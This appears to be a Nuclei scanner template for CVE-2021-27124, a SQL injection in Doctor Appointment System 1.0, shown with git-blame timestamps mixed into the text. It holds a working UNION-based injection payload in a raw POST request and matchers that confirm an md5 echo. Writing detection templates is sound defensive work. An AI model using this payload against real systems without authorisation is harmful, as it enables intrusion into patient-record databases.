2023-06-05 07:03:16 +00:00
|
|
|
id: CVE-2021-27124
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Doctor Appointment System 1.0 - SQL Injection
|
|
|
|
author: theamanrawat
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
SQL injection in the expertise parameter in search_result.php in Doctor Appointment System v1.0.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
2023-06-05 07:03:16 +00:00
|
|
|
reference:
|
|
|
|
- https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
|
|
|
|
- https://packetstormsecurity.com/files/161342/Doctor-Appointment-System-1.0-SQL-Injection.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27124
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 6.5
|
|
|
|
cve-id: CVE-2021-27124
|
|
|
|
cwe-id: CWE-89
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.02376
|
2023-11-03 10:59:12 +00:00
|
|
|
epss-percentile: 0.88667
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
|
2023-06-05 07:03:16 +00:00
|
|
|
metadata:
|
|
|
|
verified: "true"
|
2023-09-06 12:09:01 +00:00
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: doctor_appointment_system_project
|
|
|
|
product: doctor_appointment_system
|
|
|
|
tags: packetstorm,cve,cve2021,sqli,doctor-appointment-system
|
2023-06-05 07:03:16 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /patient/search_result.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
expertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "c8c605999f3d8352d7bb792cf3fdb25b"
|
|
|
|
- "Doctor Appoinment System"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-02 07:14:22 +00:00
|
|
|
|
|
|
|
# digest: 4a0a004730450220101f4365fe6bc7ea15026e6e7825fb8e97573b4760c74165e1d92875db5e93d0022100e2f1aea334b8b698b363eda8217e323053b9504daa6594f4f0299996d8080a6d:922c64590222798bb761d5b6d8e72950
|